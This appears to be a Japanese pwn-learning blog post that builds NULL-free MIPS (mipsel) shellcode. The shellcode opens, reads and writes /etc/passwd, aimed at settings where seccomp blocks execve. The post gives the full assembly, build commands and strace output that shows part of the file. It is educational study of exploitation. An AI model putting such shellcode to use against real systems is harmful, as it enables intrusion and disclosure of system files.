Pwn De Ring

初心者がPwnを勉強していくために使っている標準出力先です。

mipselにおけるopen-read-writeするシェルコードを書いてみる

はじめに

pwn.hatenadiary.jp

以前の記事では、execveを用いてシェルを起動するシェルコードを使っていた。
今回は、execveなどがseccomp等で制限されて使えない場合を想定して、open,read,writeのシステムコールを用いて、ファイルの中身を出力する"\x00"が入っていないシェルコードを書いてみた。一応、最後はexitするようにしている。主な仕様制限として、255byteのreadで、ファイル名の末尾はうまくNULL終端してくれる場合にのみ有効である。

環境

前回の記事と同じ環境である。

root@debian-mipsel:~/study# uname -a
Linux debian-mipsel 4.9.0-3-4kc-malta #1 Debian 4.9.30-2 (2017-06-12) mips GNU/Linux
root@debian-mipsel:~/study# lsb_release -a
No LSB modules are available.
Distributor ID: Debian
Description:    Debian GNU/Linux 9.0 (stretch)
Release:    9.0
Codename:   stretch
root@debian-mipsel:~/study# gcc --version
gcc (Debian 6.3.0-18) 6.3.0 20170516
Copyright (C) 2016 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

シェルコードを書く

詳しい挙動についてはコメントを見て欲しい。

.section .text
.global __start
.set noreorder

__start:
    addiu $sp, $sp, -255
    slti $a2, $zero, -1
p:
    bltzal $a2, p
    slti $a1, $zero, -1   # $a1 = 0
    addu $a0, $ra, 4097
    addu $a0, $a0, -4025  # $a0 = $ra + 72
    li $v0, 4005
    syscall 0x40404       # $v0 = open("/etc/passwd", O_RDONLY)
    andi $a0, $v0, 4095   # fd
    move $a1, $sp         # buf
    li $a2, 255           # count
    li $v0, 4003
    syscall 0x40404       # read($v0, $sp, 255)
    li $a0, 4095
    addiu $a0, $a0, -4094 # fd($a0 = 1)
    move $a1, $sp         # buf
    li $a2, 255           # count
    li $v0, 4004
    syscall 0x40404       # write(1, $sp, 255)
    slti $a0, $zero, -1   # status
    li $v0, 4001
    syscall 0x40404       # exit(0)
path:
    .string "/etc/passwd"

上記のプログラムを以下のようにしてアセンブルする。

root@debian-mipsel:~/study# as orw.s -o orw.o
root@debian-mipsel:~/study# ld orw.o -o orw

実際に、実行してみる。straceして各システムコールの戻り値や引数が合っているかも同時に確認してみる。

root@debian-mipsel:~/study# strace ./orw
execve("./orw", ["./orw"], [/* 19 vars */]) = 0
open("/etc/passwd", O_RDONLY)           = 3
read(3, "root:x:0:0:root:/root:/bin/bash\n"..., 255) = 255
write(1, "root:x:0:0:root:/root:/bin/bash\n"..., 255root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/va) = 255
exit(0)                                 = ?
+++ exited with 0 +++

ちゃんと"/etc/passwd"をO_RDONLYでopenして、255byteの入出力、最後はexitが呼ばれて終了していることがわかる。 もうちょっと短くできそうだったら教えていただけると嬉しい。